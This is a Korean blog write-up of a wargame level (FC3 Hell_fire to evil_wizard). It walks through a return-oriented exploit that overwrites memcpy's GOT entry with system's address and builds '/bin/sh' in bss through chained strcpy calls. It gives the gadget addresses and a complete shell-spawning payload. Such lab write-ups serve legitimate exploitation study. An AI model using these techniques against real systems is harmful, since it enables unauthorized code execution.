- Today
- Total
Phantom
Hell_fire – evil_wizard 본문
이번 문제는 RET Sleding 을 방해해버리고 SFP도 복원시킨다 그리고 힌트에는 GOT Overwrite와 pop_pop_ret 함수가 있다.
이번 문제는 GOT Overwrite를 이용한 ROP이다.
생각 보다 쉬울 듯 하다.
Ret Sleding을 할 필요도 없고, SFP를 조작할 필요도 없다.
우리는 PPR가젯이 있기 때문에 strcpy함수로 어느 함수의 GOT에 system함수의 주소를 넣고
또 다른 어느 곳에 /bin/sh문자열 가젯을 넣을것이다
그리고 어느 함수를 실행하면 system("/bin/sh")가 되게끔 할 것이다.
소스를 보면 strcpy다음에 memcpy와 memset이 있는데 우리는 memcpy의 GOT에 system함수의 주소를 넣고
Bss 영역에 /bin/sh를 넣고 실행 할 것이다.
그러기 위해서 필요한 것들을 나열해 보면
strpy@plt
memcpy@got
memcpy@plt
bss
ppr
/bin/sh
System
이렇게 될 것 같다.
그럼 우선 bss영역과 plt, got 주소들을 찾자
이제 POP_POP_RET 가젯을 찾자
그리고 system함수의 주소
이제 0x007507c0과 /bin/sh의 가젯 들을 찾는다
System – 0x007507c0
/bin/sh
/ - 0x8048114
b - /+3
i - /+2
n - /+10
/
s - /+14
h –
정리해보자면
Bss – 0x80498b0
strcpy@plt – 0x8048494
memcpy@plt – 0x8048434
memcpy@got – 0x8049888
ppr – 0x804854f
system –
\xc0 – 0x8048414+12
\x07 – 0x8048148+12
\x75 – 0x80482c8
\x00 – 0x804812a
/bin/sh –
/ - 0x8048114
B - /+3
I - /+2
N - /+10
/
S - /+14
H – 0x804836c
이제 페이로드를 짜 보자면
sh = 0x8048114
payload = "A"*268
payload += L(strcpy_plt) + L(ppr) + L(memcpy_got+0) + L(0x8048414+12) # \xc0
payload += L(strcpy_plt) + L(ppr) + L(memcpy_got+1) + L(0x8048148+12) # \x07
payload += L(strcpy_plt) + L(ppr) + L(memcpy_got+2) + L(0x80482c8) # \x75
payload += L(strcpy_plt) + L(ppr) + L(memcpy_got+3) + L(0x804812a) # \x00
payload += L(strcpy_plt) + L(ppr) + L(bss+0) + L(sh) # /
payload += L(strcpy_plt) + L(ppr) + L(bss+1) + L(sh+3) # b
payload += L(strcpy_plt) + L(ppr) + L(bss+2) + L(sh+2) # i
payload += L(strcpy_plt) + L(ppr) + L(bss+3) + L(sh+10) # n
payload += L(strcpy_plt) + L(ppr) + L(bss+4) + L(sh) # /
payload += L(strcpy_plt) + L(ppr) + L(bss+5) + L(sh+14) # s
payload += L(strcpy_plt) + L(ppr) + L(bss+6) + L(0x804836c) # h
payload += L(strcpy_plt) + L(ppr) + L(bss+7) + L(0x804812a) # null
payload += L(memcpy_plt) + "AAAA" + L(bss)
코드를 짜고 실행해보면
이런 에러가 뜨면 가젯이 잘못된 것이다. 다른 가젯 들을 잘 찾아 다시 실행해보자
최종 소스
좋은 가젯을 찾는게 참 어려운 것 같다.
'Pwnable > [Wargame]FC3' 카테고리의 다른 글
[FC3] Gate – Iron_golem (0) | 2017.04.21 |
---|---|
Dark_eyes – Hell_fire (2) | 2016.02.23 |
[FC3] Iron_golem – Dark_eyes (0) | 2016.02.19 |